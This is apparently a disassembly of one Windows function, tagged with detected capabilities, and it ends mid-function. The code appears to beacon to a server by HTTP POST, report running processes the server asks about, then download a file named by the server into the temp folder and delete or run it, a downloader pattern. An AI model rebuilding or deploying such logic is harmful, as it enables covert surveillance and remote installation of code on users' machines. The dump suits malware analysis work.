Function at 0x40e5a0
Capabilities:
Delete file
Get common file path

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x439a61
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x2f0
mov eax, dword [0x44f00c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [0x4514b4]
mov ecx, esi
mov dword [ebp - 0x2b4], esi
call fcn.0040d6a0
cmp byte [esi + 0x23c], 0
lea edx, [esi + 0x760]
mov ecx, dword [esi + 0x770]
lea eax, [esi + 0x61d]
push 0
je 0x40e618
push 0xc00000
jmp 0x40e61d
push 0x400000
push edx
push 0
push 0
push eax
mov eax, dword [sym.imp.WININET.dll_HttpOpenRequestA]
push str.POST
push ecx
mov dword [ebp - 0x2bc], eax
call eax
push 0x28
mov dword [ebp - 0x2b8], eax
call fcn.00421cc3
mov edi, eax
add esp, 4
test edi, edi
je 0x40e662
xorps xmm0, xmm0
movups xmmword [edi], xmm0
movups xmmword [edi + 0x10], xmm0
movq qword [edi + 0x20], xmm0
mov dword [edi + 0xc], 6
lea eax, [esi + 0x6c]
mov ecx, eax
mov dword [ebp - 0x2e4], eax
call fcn.00408a10
mov esi, eax
test esi, esi
je 0x40e6c4
mov eax, dword [esi + 0x20]
test eax, eax
je 0x40e688
push eax
call fcn.00421ca8
add esp, 4
push 8
call fcn.00421cc3
mov edx, eax
add esp, 4
test edx, edx
je 0x40e6a8
mov eax, dword [str.channel]
mov ecx, dword [0x44aac4]
mov dword [edx], eax
mov dword [edx + 4], ecx
mov dword [esi + 0x20], edx
mov eax, dword [edi + 8]
test eax, eax
jne 0x40e6b7
mov dword [edi + 8], esi
jmp 0x40e6c4
mov ecx, eax
mov eax, dword [eax]
test eax, eax
jne 0x40e6b7
mov dword [ecx], esi
mov dword [esi + 4], ecx
mov eax, dword [ebp - 0x2b4]
add eax, 8
mov ecx, eax
mov dword [ebp - 0x2e8], eax
call fcn.00408a10
mov esi, eax
test esi, esi
je 0x40e723
mov eax, dword [esi + 0x20]
test eax, eax
je 0x40e6f0
push eax
call fcn.00421ca8
add esp, 4
push 4
call fcn.00421cc3
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x40e707
mov eax, dword [0x44a59c]
mov dword [ecx], eax
mov dword [esi + 0x20], ecx
mov eax, dword [edi + 8]
test eax, eax
jne 0x40e716
mov dword [edi + 8], esi
jmp 0x40e723
mov ecx, eax
mov eax, dword [eax]
test eax, eax
jne 0x40e716
mov dword [ecx], esi
mov dword [esi + 4], ecx
mov eax, dword [ebp - 0x2b4]
push 0x28
movd xmm0, dword [eax + 0x134]
cvtdq2pd xmm0, xmm0
movsd qword [ebp - 0x2d8], xmm0
call fcn.00421cc3
mov esi, eax
add esp, 4
test esi, esi
je 0x40e7e5
movsd xmm0, qword [ebp - 0x2d8]
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
cvttsd2si eax, xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0xc], 3
movsd qword [esi + 0x18], xmm0
mov dword [esi + 0x14], eax
mov eax, dword [esi + 0x20]
test eax, eax
je 0x40e7a5
push eax
call fcn.00421ca8
add esp, 4
push 9
call fcn.00421cc3
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x40e7c9
movq xmm0, qword [str.platType]
movq qword [ecx], xmm0
mov al, byte [0x44aad0]
mov byte [ecx + 8], al
mov dword [esi + 0x20], ecx
mov eax, dword [edi + 8]
test eax, eax
jne 0x40e7d8
mov dword [edi + 8], esi
jmp 0x40e7e5
mov ecx, eax
mov eax, dword [eax]
test eax, eax
jne 0x40e7d8
mov dword [ecx], esi
mov dword [esi + 4], ecx
push 0
push 1
xor edx, edx
mov ecx, edi
call fcn.00407d90
add esp, 8
mov ecx, edi
mov esi, eax
call fcn.004072c0
mov ecx, esi
mov dword [ebp - 0x180], 0
mov dword [ebp - 0x170], 0
mov dword [ebp - 0x16c], 0xf
mov byte [ebp - 0x180], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40e828
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x180]
call fcn.00406fc0
push esi
mov dword [ebp - 4], 0
call fcn.00421ca8
mov dword [ebp - 0x138], 0
add esp, 4
mov dword [ebp - 0x128], 0
mov dword [ebp - 0x124], 0xf
mov byte [ebp - 0x138], 0
mov edi, dword [ebp - 0x2b8]
lea eax, [ebp - 0x138]
mov ecx, dword [ebp - 0x2b4]
push eax
lea eax, [ebp - 0x180]
mov byte [ebp - 4], 1
push eax
push edi
call fcn.0040f890
mov esi, eax
mov eax, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 0x2cc], eax
test edi, edi
je 0x40e8af
push edi
mov edi, eax
call edi
jmp 0x40e8b1
mov edi, eax
test esi, esi
js 0x40e974
cmp dword [ebp - 0x124], 0x10
lea ecx, [ebp - 0x138]
cmovae ecx, dword [ebp - 0x138]
call fcn.00407c40
mov dword [ebp - 0x2d4], eax
test eax, eax
je 0x40f796
mov esi, dword [eax + 8]
mov dword [ebp - 0x2e0], esi
test esi, esi
je 0x40f796
mov ecx, dword [esi + 0x20]
mov edx, str.procs
call fcn.00407230
test eax, eax
je 0x40e913
mov esi, dword [esi]
mov dword [ebp - 0x2e0], esi
test esi, esi
jne 0x40e8f1
jmp 0x40f796
push 0x28
call fcn.00421cc3
add esp, 4
mov dword [ebp - 0x2c0], eax
test eax, eax
je 0x40e93d
xorps xmm0, xmm0
movups xmmword [eax], xmm0
movups xmmword [eax + 0x10], xmm0
movq qword [eax + 0x20], xmm0
mov dword [eax + 0xc], 5
push 0x124
lea eax, [ebp - 0x2a4]
push 0
push eax
call fcn.0041c210
add esp, 0xc
mov dword [ebp - 0x2a8], 0x128
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ecx, eax
mov dword [ebp - 0x2d0], ecx
cmp ecx, 0xffffffff
jne 0x40e9af
mov esi, dword [ebp - 0x2b4]
mov eax, dword [esi + 0x770]
test eax, eax
je 0x40e991
push eax
call edi
mov dword [esi + 0x770], 0
mov eax, dword [esi + 0x76c]
test eax, eax
je 0x40e9a8
push eax
call edi
mov dword [esi + 0x76c], 0
xor esi, esi
jmp 0x40f7d5
mov eax, dword [esi + 8]
xor edx, edx
mov dword [ebp - 0x2b0], edx
test eax, eax
je 0x40e9cd
nop
mov eax, dword [eax]
inc edx
test eax, eax
jne 0x40e9c0
mov dword [ebp - 0x2b0], edx
xor eax, eax
mov dword [ebp - 0x2dc], eax
test edx, edx
jle 0x40ec54
mov edi, dword [sym.imp.KERNEL32.dll_Process32First]
mov dword [ebp - 0x2ec], edi
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
mov dword [ebp - 0x2fc], edi
mov edi, dword [esi + 8]
test edi, edi
je 0x40ec33
test eax, eax
jle 0x40ea0b
mov edi, dword [edi]
dec eax
test edi, edi
jne 0x40ea00
test edi, edi
je 0x40ec33
lea eax, [ebp - 0x2a8]
push eax
push ecx
call dword [ebp - 0x2ec]
test eax, eax
je 0x40ec2d
mov esi, dword [edi + 8]
mov dword [ebp - 0x2c4], esi
test esi, esi
je 0x40ea5d
nop word [eax + eax]
mov ecx, dword [esi + 0x20]
mov edx, 0x44aad4
call fcn.00407230
test eax, eax
je 0x40ea57
mov esi, dword [esi]
test esi, esi
jne 0x40ea40
mov dword [ebp - 0x2c4], esi
mov edi, dword [edi + 8]
test edi, edi
je 0x40ea87
nop dword [eax]
nop dword [eax + eax]
mov ecx, dword [edi + 0x20]
mov edx, str.name
call fcn.00407230
test eax, eax
je 0x40ea87
mov edi, dword [edi]
test edi, edi
jne 0x40ea70
test esi, esi
je 0x40ec2d
cmp dword [esi + 0xc], 3
jne 0x40ec2d
test edi, edi
je 0x40ec2d
cmp dword [edi + 0xc], 4
jne 0x40ec2d
mov ecx, dword [edi + 0x10]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40eab1
sub ecx, edx
mov dword [ebp - 0x2f4], ecx
lea esi, [ecx + 1]
push esi
call fcn.00419340
add esp, 4
mov dword [ebp - 0x2c8], eax
push esi
push 0
push eax
call fcn.0041c210
mov esi, dword [ebp - 0x2f4]
xor ecx, ecx
add esp, 0xc
mov dword [ebp - 0x2b8], ecx
test esi, esi
jle 0x40eb20
mov eax, dword [edi + 0x10]
movsx eax, byte [eax + ecx]
push eax
call fcn.00421ba2
mov ecx, dword [ebp - 0x2b8]
add esp, 4
mov edx, dword [ebp - 0x2c8]
mov byte [ecx + edx], al
inc ecx
mov dword [ebp - 0x2b8], ecx
cmp ecx, esi
jl 0x40eaf0
nop word [eax + eax]
push 0x104
lea eax, [ebp - 0x120]
push 0
push eax
call fcn.0041c210
lea edi, [ebp - 0x284]
add esp, 0xc
lea ecx, [edi + 1]
nop
mov al, byte [edi]
inc edi
test al, al
jne 0x40eb40
sub edi, ecx
xor esi, esi
test edi, edi
jle 0x40eb6d
nop
movsx eax, byte [ebp + esi - 0x284]
push eax
call fcn.00421ba2
mov byte [ebp + esi - 0x120], al
add esp, 4
inc esi
cmp esi, edi
jl 0x40eb50
lea eax, [ebp - 0x120]
push eax
push dword [ebp - 0x2c8]
call fcn.0041bc20
add esp, 8
test eax, eax
jne 0x40eba2
lea eax, [ebp - 0x2a8]
push eax
push dword [ebp - 0x2d0]
call dword [ebp - 0x2fc]
test eax, eax
jne 0x40eb20
jmp 0x40ec2d
mov eax, dword [ebp - 0x2c4]
push 0x28
movd xmm0, dword [eax + 0x14]
cvtdq2pd xmm0, xmm0
movsd qword [ebp - 0x2f8], xmm0
call fcn.00421cc3
mov edx, eax
add esp, 4
test edx, edx
je 0x40ec2d
movsd xmm0, qword [ebp - 0x2f8]
mov ecx, dword [ebp - 0x2c0]
mov dword [edx], 0
mov dword [edx + 4], 0
mov dword [edx + 8], 0
cvttsd2si eax, xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x20], 0
mov dword [edx + 0x24], 0
mov dword [edx + 0xc], 3
movsd qword [edx + 0x18], xmm0
mov dword [edx + 0x14], eax
mov eax, dword [ecx + 8]
test eax, eax
jne 0x40ec20
mov dword [ecx + 8], edx
jmp 0x40ec2d
mov ecx, eax
mov eax, dword [eax]
test eax, eax
jne 0x40ec20
mov dword [ecx], edx
mov dword [edx + 4], ecx
mov edx, dword [ebp - 0x2b0]
mov eax, dword [ebp - 0x2dc]
mov esi, dword [ebp - 0x2e0]
inc eax
mov ecx, dword [ebp - 0x2d0]
mov dword [ebp - 0x2dc], eax
cmp eax, edx
jl 0x40e9f5
push 0x28
call fcn.00421cc3
mov edi, eax
add esp, 4
test edi, edi
je 0x40ec7a
xorps xmm0, xmm0
movups xmmword [edi], xmm0
movups xmmword [edi + 0x10], xmm0
movq qword [edi + 0x20], xmm0
mov dword [edi + 0xc], 6
mov ecx, dword [ebp - 0x2e4]
call fcn.00408a10
mov esi, eax
test esi, esi
je 0x40ecdd
mov eax, dword [esi + 0x20]
test eax, eax
je 0x40ec9b
push eax
call fcn.00421ca8
add esp, 4
push 8
call fcn.00421cc3
mov edx, eax
add esp, 4
test edx, edx
je 0x40ecbb
mov eax, dword [str.channel]
mov ecx, dword [0x44aac4]
mov dword [edx], eax
mov dword [edx + 4], ecx
mov dword [esi + 0x20], edx
mov eax, dword [edi + 8]
test eax, eax
jne 0x40ecd0
mov dword [edi + 8], esi
jmp 0x40ecdd
mov ecx, eax
mov eax, dword [eax]
test eax, eax
jne 0x40ecd0
mov dword [ecx], esi
mov dword [esi + 4], ecx
mov ecx, dword [ebp - 0x2e8]
call fcn.00408a10
mov esi, eax
test esi, esi
je 0x40ed31
mov eax, dword [esi + 0x20]
test eax, eax
je 0x40ecfe
push eax
call fcn.00421ca8
add esp, 4
push 4
call fcn.00421cc3
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x40ed15
mov eax, dword [0x44a59c]
mov dword [ecx], eax
mov dword [esi + 0x20], ecx
mov eax, dword [edi + 8]
test eax, eax
jne 0x40ed24
mov dword [edi + 8], esi
jmp 0x40ed31
mov ecx, eax
mov eax, dword [eax]
test eax, eax
jne 0x40ed24
mov dword [ecx], esi
mov dword [esi + 4], ecx
mov eax, dword [ebp - 0x2b4]
push 0x28
movd xmm0, dword [eax + 0x134]
cvtdq2pd xmm0, xmm0
movsd qword [ebp - 0x300], xmm0
call fcn.00421cc3
mov esi, eax
add esp, 4
test esi, esi
je 0x40edf3
movsd xmm0, qword [ebp - 0x300]
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
cvttsd2si eax, xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0xc], 3
movsd qword [esi + 0x18], xmm0
mov dword [esi + 0x14], eax
mov eax, dword [esi + 0x20]
test eax, eax
je 0x40edb3
push eax
call fcn.00421ca8
add esp, 4
push 9
call fcn.00421cc3
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x40edd7
movq xmm0, qword [str.platType]
movq qword [ecx], xmm0
mov al, byte [0x44aad0]
mov byte [ecx + 8], al
mov dword [esi + 0x20], ecx
mov eax, dword [edi + 8]
test eax, eax
jne 0x40ede6
mov dword [edi + 8], esi
jmp 0x40edf3
mov ecx, eax
mov eax, dword [eax]
test eax, eax
jne 0x40ede6
mov dword [ecx], esi
mov dword [esi + 4], ecx
mov esi, dword [ebp - 0x2c0]
test esi, esi
je 0x40ee4d
mov eax, dword [esi + 0x20]
test eax, eax
je 0x40ee0d
push eax
call fcn.00421ca8
add esp, 4
push 6
call fcn.00421cc3
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x40ee2e
mov eax, dword [str.procs]
mov dword [ecx], eax
mov ax, word [0x44ab20]
mov word [ecx + 4], ax
mov dword [esi + 0x20], ecx
mov eax, dword [edi + 8]
test eax, eax
jne 0x40ee40
mov dword [edi + 8], esi
jmp 0x40ee4d
mov ecx, eax
mov eax, dword [eax]
test eax, eax
jne 0x40ee40
mov dword [ecx], esi
mov dword [esi + 4], ecx
push 0
push 1
xor edx, edx
mov ecx, edi
call fcn.00407d90
add esp, 8
mov ecx, edi
mov esi, eax
call fcn.004072c0
mov ecx, esi
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x13c], 0xf
mov byte [ebp - 0x150], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ee90
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x150]
call fcn.00406fc0
push esi
mov byte [ebp - 4], 2
call fcn.00421ca8
mov ecx, dword [ebp - 0x2d4]
add esp, 4
call fcn.004072c0
mov edi, dword [ebp - 0x2b4]
push 0
cmp byte [edi + 0x23c], 0
lea eax, [edi + 0x6bd]
mov ecx, dword [edi + 0x770]
lea edx, [edi + 0x760]
je 0x40eee8
push 0xc00000
jmp 0x40eeed
push 0x400000
push edx
push 0
push 0
push eax
push str.POST
push ecx
call dword [ebp - 0x2bc]
cmp dword [ebp - 0x124], 0x10
mov esi, eax
lea eax, [ebp - 0x138]
mov dword [ebp - 0x128], 0
cmovae eax, dword [ebp - 0x138]
mov ecx, edi
mov byte [eax], 0
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0x150]
push eax
push esi
call fcn.0040f890
test esi, esi
je 0x40ef43
push esi
call dword [ebp - 0x2cc]
cmp dword [ebp - 0x124], 0x10
lea ecx, [ebp - 0x138]
cmovae ecx, dword [ebp - 0x138]
call fcn.00407c40
mov edi, eax
mov dword [ebp - 0x2bc], edi
test edi, edi
je 0x40f71c
mov esi, dword [edi + 8]
mov dword [ebp - 0x2b8], esi
test esi, esi
je 0x40ef9d
nop dword [eax]
mov ecx, dword [esi + 0x20]
mov edx, 0x44aad4
call fcn.00407230
test eax, eax
je 0x40ef97
mov esi, dword [esi]
test esi, esi
jne 0x40ef80
mov dword [ebp - 0x2b8], esi
mov edi, dword [edi + 8]
test edi, edi
je 0x40efc7
nop dword [eax]
nop dword [eax + eax]
mov ecx, dword [edi + 0x20]
mov edx, str.name
call fcn.00407230
test eax, eax
je 0x40efc7
mov edi, dword [edi]
test edi, edi
jne 0x40efb0
mov eax, dword [ebp - 0x2bc]
mov esi, dword [eax + 8]
mov dword [ebp - 0x2c8], esi
test esi, esi
je 0x40f003
nop word [eax + eax]
mov ecx, dword [esi + 0x20]
mov edx, str.fileUrl
call fcn.00407230
test eax, eax
je 0x40eff7
mov esi, dword [esi]
test esi, esi
jne 0x40efe0
mov eax, dword [ebp - 0x2bc]
mov dword [ebp - 0x2c8], esi
mov esi, dword [eax + 8]
mov dword [ebp - 0x2b0], esi
test esi, esi
je 0x40f033
mov ecx, dword [esi + 0x20]
mov edx, 0x44aaf4
call fcn.00407230
test eax, eax
je 0x40f027
mov esi, dword [esi]
test esi, esi
jne 0x40f010
mov eax, dword [ebp - 0x2bc]
mov dword [ebp - 0x2b0], esi
mov esi, dword [eax + 8]
test esi, esi
je 0x40f057
nop word [eax + eax]
mov ecx, dword [esi + 0x20]
mov edx, str.state
call fcn.00407230
test eax, eax
je 0x40f057
mov esi, dword [esi]
test esi, esi
jne 0x40f040
mov eax, dword [ebp - 0x2b8]
test eax, eax
je 0x40f74e
cmp dword [eax + 0xc], 3
jne 0x40f74e
test edi, edi
je 0x40f74e
cmp dword [edi + 0xc], 4
jne 0x40f74e
mov eax, dword [ebp - 0x2c8]
test eax, eax
je 0x40f74e
cmp dword [eax + 0xc], 4
jne 0x40f74e
mov eax, dword [ebp - 0x2b0]
test eax, eax
je 0x40f74e
cmp dword [eax + 0xc], 4
jne 0x40f74e
test esi, esi
je 0x40f74e
cmp dword [esi + 0xc], 3
jne 0x40f74e
mov eax, dword [esi + 0x14]
push 0x104
mov dword [ebp - 0x2d4], eax
lea eax, [ebp - 0x120]
push 0
push eax
mov dword [ebp - 0x2c4], 0
call fcn.0041c210
add esp, 0xc
lea eax, [ebp - 0x120]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov esi, dword [edi + 0x10]
lea ecx, [ebp - 0x120]
mov eax, 0x104
nop dword [eax]
cmp byte [ecx], 0
je 0x40f11d
inc ecx
sub eax, 1
jne 0x40f110
jmp 0x40f16a
lea ecx, [ebp - 0x1c]
mov edx, SysReAllocString
sub ecx, eax
mov dword [ebp - 0x2d0], edx
mov dword [ebp - 0x2c0], ecx
test edx, edx
je 0x40f167
cmp byte [esi], 0
mov ecx, dword [ebp - 0x2c0]
je 0x40f162
mov dl, byte [esi]
inc esi
mov byte [ecx], dl
inc ecx
mov edx, dword [ebp - 0x2d0]
dec edx
mov dword [ebp - 0x2c0], ecx
mov dword [ebp - 0x2d0], edx
sub eax, 1
jne 0x40f133
jmp 0x40f166
test eax, eax
jne 0x40f167
dec ecx
mov byte [ecx], 0
mov eax, dword [ebp - 0x2d4]
cmp eax, 2
jne 0x40f1a6
lea eax, [ebp - 0x120]
push 0
push eax
call fcn.00422827
add esp, 8
test eax, eax
jne 0x40f197
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x2c4], 0
jmp 0x40f2ce
cmp eax, 1
jne 0x40f2ce
lea eax, [ebp - 0x120]
mov byte [ebp - 0x2a9], 0
push 0
push eax
call fcn.00422827
mov esi, dword [ebp - 0x2b0]
add esp, 8
test eax, eax
jne 0x40f1fa
push dword [esi + 0x10]
lea eax, [ebp - 0x120]
push eax
call fcn.00411390
test al, al
je 0x40f1ed
mov byte [ebp - 0x2a9], 1
jmp 0x40f1fa
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x120]
push 0
push eax
call fcn.00422827
add esp, 8
test eax, eax
je 0x40f2a7
push 0x104
lea eax, [ebp - 0x120]
push 0
push eax
call fcn.0041c210
mov edi, dword [edi + 0x10]
lea ecx, [ebp - 0x120]
add esp, 0xc
mov edx, 0x104
nop word [eax + eax]
lea eax, [edx + 0x7ffffefa]
test eax, eax
je 0x40f260
mov al, byte [edi]
test al, al
je 0x40f25b
mov byte [ecx], al
inc edi
inc ecx
sub edx, 1
jne 0x40f240
jmp 0x40f25f
test edx, edx
jne 0x40f260
dec ecx
mov edi, dword [ebp - 0x2b4]
lea eax, [ebp - 0x120]
push ecx
push eax
mov eax, dword [ebp - 0x2c8]
sub esp, 8
mov byte [ecx], 0
mov ecx, edi
push dword [eax + 0x10]
call fcn.00411640
test eax, eax
je 0x40f2ad
push dword [esi + 0x10]
lea eax, [ebp - 0x120]
mov dword [ebp - 0x2c4], 1
push eax
call fcn.00411390
test al, al
jne 0x40f2b6
jmp 0x40f2ad
mov edi, dword [ebp - 0x2b4]
cmp byte [ebp - 0x2a9], 0
je 0x40f2ce
lea eax, [ebp - 0x120]
mov ecx, edi
push eax
call fcn.00411ac0
mov dword [ebp - 0x2c4], 2
push 0x28
call fcn.00421cc3
mov edi, eax
add esp, 4
mov dword [ebp - 0x2c0], edi
test edi, edi
je 0x40f2fa
xorps xmm0, xmm0
movups xmmword [edi], xmm0
movups xmmword [edi + 0x10], xmm0
movq qword [edi + 0x20], xmm0
mov dword [edi + 0xc], 6
mov ecx, dword [ebp - 0x2e4]
call fcn.00408a10
mov esi, eax
test esi, esi
je 0x40f35d
mov eax, dword [esi + 0x20]
test eax, eax
je 0x40f31b
push eax
call fcn.00421ca8
add esp, 4
push 8
call fcn.00421cc3
mov edx, eax
add esp, 4
test edx, edx
je 0x40f33b
mov eax, dword [str.channel]
mov ecx, dword [0x44aac4]
mov dword [edx], eax
mov dword [edx + 4], ecx
mov dword [esi + 0x20], edx
mov eax, dword [edi + 8]
test eax, eax
jne 0x40f350
mov dword [edi + 8], esi
jmp 0x40f35d
mov ecx, eax
mov eax, dword [eax]
test eax, eax
jne 0x40f350
mov dword [ecx], esi
mov dword [esi + 4], ecx
mov ecx, dword [ebp - 0x2e8]
call fcn.00408a10
mov esi, eax
test esi, esi
je 0x40f3b1
mov eax, dword [esi + 0x20]
test eax, eax
je 0x40f37e
push eax
call fcn.00421ca8
add esp, 4
push 4
call fcn.00421cc3
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x40f395
mov eax, dword [0x44a59c]
mov dword [ecx], eax
mov dword [esi + 0x20], ecx
mov eax, dword [edi + 8]
test eax, eax
jne 0x40f3a4
mov dword [edi + 8], esi
jmp 0x40f3b1
mov ecx, eax
mov eax, dword [eax]
test eax, eax
jne 0x40f3a4
mov dword [ecx], esi
mov dword [esi + 4], ecx
mov eax, dword [ebp - 0x2b4]
push 0x28
movd xmm0, dword [eax + 0x134]
cvtdq2pd xmm0, xmm0
movsd qword [ebp - 0x2d8], xmm0
call fcn.00421cc3
mov esi, eax
add esp, 4
test esi, esi
je 0x40f473
movsd xmm0, qword [ebp - 0x2d8]
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
cvttsd2si eax, xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x20], 0
mov dword [esi + 0x24], 0
mov dword [esi + 0xc], 3
movsd qword [esi + 0x18], xmm0
mov dword [esi + 0x14], eax
mov eax, dword [esi + 0x20]
test eax, eax
je 0x40f433
push eax
call fcn.00421ca8
add esp, 4
push 9
call fcn.00421cc3
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x40f457
movq xmm0, qword [str.platType]
movq qword [ecx], xmm0
mov al, byte [0x44aad0]
mov byte [ecx + 8], al
mov dword [esi + 0x20], ecx
mov eax, dword [edi + 8]
test eax, eax
jne 0x40f466
mov dword [edi + 8], esi
jmp 0x40f473
mov ecx, eax
mov eax, dword [eax]
test eax, eax
jne 0x40f466
mov dword [ecx], esi
mov dword [esi + 4], ecx
push 0x28
call fcn.00421cc3
mov esi, eax
add esp, 4
test esi, esi
je 0x40f499
xorps xmm0, xmm0
movups xmmword [esi], xmm0
movups xmmword [esi + 0x10], xmm0
movq qword [esi + 0x20], xmm0
mov dword [esi + 0xc], 6
mov eax, dword [ebp - 0x2b8]
push 0x28
movd xmm0, dword [eax + 0x14]
cvtdq2pd xmm0, xmm0
movsd qword [ebp - 0x2d8], xmm0
call fcn.00421cc3
mov edi, eax
add esp, 4
test edi, edi
je 0x40f555
movsd xmm0, qword [ebp - 0x2d8]
mov dword [edi], 0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
cvttsd2si eax, xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0xc], 3
movsd qword [edi + 0x18], xmm0
mov dword [edi + 0x14], eax
mov eax, dword [edi + 0x20]
test eax, eax
je 0x40f518
push eax
call fcn.00421ca8
add esp, 4
push 3
call fcn.00421cc3
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x40f539
mov ax, word [0x44aad4]
mov word [ecx], ax
mov al, byte [0x44aad6]
mov byte [ecx + 2], al
mov dword [edi + 0x20], ecx
mov eax, dword [esi + 8]
test eax, eax
jne 0x40f548
mov dword [esi + 8], edi
jmp 0x40f555
mov ecx, eax
mov eax, dword [eax]
test eax, eax
jne 0x40f548
mov dword [ecx], edi
mov dword [edi + 4], ecx
push 0x28
call fcn.00421cc3
mov edi, eax
add esp, 4
test edi, edi
je 0x40f5fd
movd xmm0, dword [ebp - 0x2c4]
cvtdq2pd xmm0, xmm0
mov dword [edi], 0
mov dword [edi + 4], 0
mov dword [edi + 8], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
cvttsd2si eax, xmm0
mov dword [edi + 0xc], 3
movsd qword [edi + 0x18], xmm0
mov dword [edi + 0x14], eax
mov eax, dword [edi + 0x20]
test eax, eax
je 0x40f5c1
push eax
call fcn.00421ca8
add esp, 4
push 5
call fcn.00421cc3
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x40f5e0
mov eax, dword [str.type]
mov dword [ecx], eax
mov al, byte [0x44ab18]
mov byte [ecx + 4], al
mov dword [edi + 0x20], ecx
mov eax, dword [esi + 8]
test eax, eax
jne 0x40f5f0
mov dword [esi + 8], edi
jmp 0x40f5fd
mov ecx, eax
mov eax, dword [eax]
test eax, eax
jne 0x40f5f0
mov dword [ecx], edi
mov dword [edi + 4], ecx
test esi, esi
je 0x40f64f
mov eax, dword [esi + 0x20]
test eax, eax
je 0x40f611
push eax
call fcn.00421ca8
add esp, 4
push 4
call fcn.00421cc3
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x40f628
mov eax, dword [0x44ab34]
mov dword [ecx], eax
mov edi, dword [ebp - 0x2c0]
mov dword [esi + 0x20], ecx
mov eax, dword [edi + 8]
test eax, eax
jne 0x40f640
mov dword [edi + 8], esi
jmp 0x40f655
mov ecx, eax
mov eax, dword [eax]
test eax, eax
jne 0x40f640
mov dword [ecx], esi
mov dword [esi + 4], ecx
jmp 0x40f655
mov edi, dword [ebp - 0x2c0]
push 0
push 1
xor edx, edx
mov ecx, edi
call fcn.00407d90
mov esi, eax
mov dword [ebp - 0x168], 0
mov ecx, esi
mov dword [ebp - 0x158], 0
add esp, 8
mov dword [ebp - 0x154], 0xf
mov byte [ebp - 0x168], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f691
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x168]
call fcn.00406fc0
push esi
mov byte [ebp - 4], 3
call fcn.00421ca8
add esp, 4
mov ecx, edi
call fcn.004072c0
sub esp, 0x18
lea eax, [ebp - 0x168]
mov ecx, esp
push eax
call fcn.00406ef0
mov ecx, dword [ebp - 0x2b4]
call fcn.00410af0
mov ecx, dword [ebp - 0x2bc]
call fcn.004072c0
mov edx, dword [ebp - 0x154]
cmp edx, 0x10
jb 0x40f71c
mov ecx, dword [ebp - 0x168]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40f712
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f885
push edx
push ecx
call fcn.00419332
add esp, 8
mov edx, dword [ebp - 0x13c]
cmp edx, 0x10
jb 0x40f796
mov ecx, dword [ebp - 0x150]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40f78c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f880
jmp 0x40f78c
mov edx, dword [ebp - 0x13c]
cmp edx, 0x10
jb 0x40f788
mov ecx, dword [ebp - 0x150]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40f77e
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f885
push edx
push ecx
call fcn.00419332
add esp, 8
xor esi, esi
jmp 0x40f7d5
push edx
push ecx
call fcn.00419332
add esp, 8
mov esi, dword [ebp - 0x2b4]
mov edi, dword [ebp - 0x2cc]
mov eax, dword [esi + 0x770]
test eax, eax
je 0x40f7b9
push eax
call edi
mov dword [esi + 0x770], 0
mov eax, dword [esi + 0x76c]
test eax, eax
je 0x40f7d0
push eax
call edi
mov dword [esi + 0x76c], 0
mov esi, 1
mov edx, dword [ebp - 0x124]
cmp edx, 0x10
jb 0x40f80f
mov ecx, dword [ebp - 0x138]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x40f805
